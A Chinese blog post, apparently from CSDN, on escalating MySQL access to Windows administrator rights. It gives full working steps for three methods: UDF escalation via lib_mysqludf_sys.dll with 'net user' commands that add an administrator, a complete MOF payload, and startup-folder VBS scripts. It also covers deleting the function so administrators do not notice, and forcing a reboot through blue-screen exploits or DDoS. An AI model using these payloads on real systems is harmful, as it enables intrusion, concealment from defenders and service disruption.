mysql提权总结

Mysql提权主要是需要利用高权限的Mysql用户进行操作,拿用户主要是下列几种方式

注入
上传getshell
查看网站数据库配置信息拿到用户密码
弱口令
mysql系统漏洞,比如CVE-2012-2122身份认证漏洞

udf提权

UDF(user defined function)用户定义函数,是mysql的一次拓展连接⼝。用户可以通过自定义函数实现在mysql中⽆法例实现的功能,其新函数都可以在sql语句中添加中调使⽤,像调⽤本机函数⼀样。

前提条件

  1. 已经获取到数据库的账号、密码,可以远程连接到
  2. mysql有写入文件的权限,即secure_file_priv的值为空。
show global variables like 'secure%';

在这里插入图片描述
mysql版本区别

 1、MySQL<5.0,导出路径随意;
 2、5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:c:/windows/system32/)
 3、MySQL 5.1以上版本,必须要把udf.dll文件放到MySQL安装目录下的lib\plugin(需自行创建)文件夹下才能创建自定义函数。

信息收集

select version();   # 获取数据库版本
select user();  # 获取数据库用户
select @@basedir;   # 获取数据库安装目录
show variables like ‘%plugin%’; # 查看plugin路径。

提权步骤
DLL文件的获取方法
sqlmap目录下SQLMAP\sqlmap-1.6\data\udf\mysql
Metasploit目录下也有
sql中的dll文件是编码的,可以使用sqlmap/extract/cloak.py进行解码

python /sqlmap/extra/cloak/cloak.py -d -i /sqlmap/udf/mysql/windows/64/lib_mysqludf_sys.dll_

将解码后的DLL文件(包含用户自定义函数的DLL文件)上传到可写目录,再导入到MySQL\lib\plugin\中

select LOAD_FILE('C:/可写目录/lib_mysqludf_sys.dll') into dumpfile 'C:/phpStudy2016/MySQL/lib/plugin/lib_mysqludf_sys.dll';

创建自定义函数
创建名为sys_eval的函数,返回值为string类型,调用的文件是lib_mysqludf_sys.dll

create function sys_eval returns string soname 'lib_mysqludf_sys.dll';

注意:需要创建.dll文件中存在的函数,可以使用十六进制编辑器打开.dll文件,查看可以被创建的函数。

使用该函数去执行系统命令提权

查看当前用户权限

select sys_eval("whoami");
select sys_eval("net user 123 456 /add");
select sys_eval("net localgroup Administrators 123 /add");

net localgroup Administrators 123 /add

将之前引入的函数删除掉

防止被管理员发现,防止其他攻击者使用
drop function sys_eval;
delete from mysql.func where name=‘sys_eval’;

思考
win10 mysql 5.0.96 dll文件写入windows\system32成功,创建自定义函数报错;测试5.1.60 版本写入lib\plugin正常

报错信息:
在这里插入图片描述
Can’t open shared library ‘lib_mysqludf_sys.dll’ (errno: 2 )

MOF提权

原理
关于 mof 提权的原理其实很简单,就是利用了c:/windows/system32/wbem/mof/ 目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行

前提条件

1.windows 03及以下版本
2.获取mysql账号并且可以远程登录
4.mysql账号可以读写c:/windows/system32/wbem/mof目录
3.secure-file-priv参数为空

过程
mysql命令行将mof文件写入c:/windows/system32/wbem/mof目录

select load_file(“C:/php/APMServ5.2.6/www/htdocs/1.mof”) into dumpfile “c:/windows/system32/wbem/mof/nullevt.mof”

mof文件代码

#pragma namespace(“\\\\.\\root\\subscription”)
instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\\Cimv2”;
Name = “filtP2”;
Query = “Select * From __InstanceModificationEvent “
“Where TargetInstance Isa \”Win32_LocalTime\” “
“And TargetInstance.Second = 5”;
QueryLanguage = “WQL”;
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user secist 123 /add\”);
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

c:/windows/system32/wbem/mof文件具有每5秒执行的功能,执行代码,添加具有管理员权限的新用户,成功提权

关于Mof提权的弊端

我们提权成功后,就算被删号,mof也会在五秒内将原账号重建,那么这给我们退出测试造成了很大的困扰,所以谨慎使用。那么我们如何删掉我们的入侵账号呢?
cmd 下运行下面语句:

net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt

重启服务即可。

开机启动项提权

利用条件
两种情况下均可用启动项提权
1、C:\Documents and Settings\All Users\「开始」菜单\程序\启动 目录可读写
直接将 VBS 提权脚本上传到该目录下

2、以root账号登陆MySQL

提权方式

第一种:如果" C:\Documents and Settings\All Users\「开始」菜单\程序\启动 "目录存在可读写的权限,那么我们可以直接将VBS提权脚本上传到该目录下!

setwsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Setoe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","secist")
od.SetPassword "secist.com"
od.SetInfo
Set of=GetObject(os&"/secist",user)
oe.add os&"/secist"

将以上代码保存为 .vbs 后缀的文件上传即可!

第二种:将数据库表中内容导入到启动目录
1、登录mysql
2、在test数据库下新建表
create table secist(cmd text);

3、插入vbs脚本

insert into secist values(“set wshshell=createobject(“”wscript.shell””));
insert into secist values(“a=wshshell.run(“”cmd.exe /c net user quan 123456 /add“”,0));
insert into secist values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators quan /add“”,0));

4、导出vbs脚本到启动选项

select * from secist into dumpfile “C:\Documents and Settings\All Users\「开始」菜单\程序\启动\quan.vbs”;

5、利用其他手段使服务器重启后就提权成功了

提示
1.关于重启目标服务器,我们可以利用一些可导致服务器蓝屏的EXP,或者DDoS拒绝服务!

2.上传的目录必须具备可读写的权限!

3.调用的 cmd 也必须有足够的权限!

参考:
https://blog.csdn.net/syy0201/article/details/103582082?spm=1001.2014.3001.5502
https://blog.csdn.net/Fly_hps/article/details/117675948?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164490573916781683981267%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=164490573916781683981267&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_ecpm_v1~rank_v31_ecpm-1-117675948.first_rank_v2_pc_rank_v29&utm_term=mysql%E5%BC%80%E6%9C%BA%E5%90%AF%E5%8A%A8%E9%A1%B9%E6%8F%90%E6%9D%83&spm=1018.2226.3001.4187

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值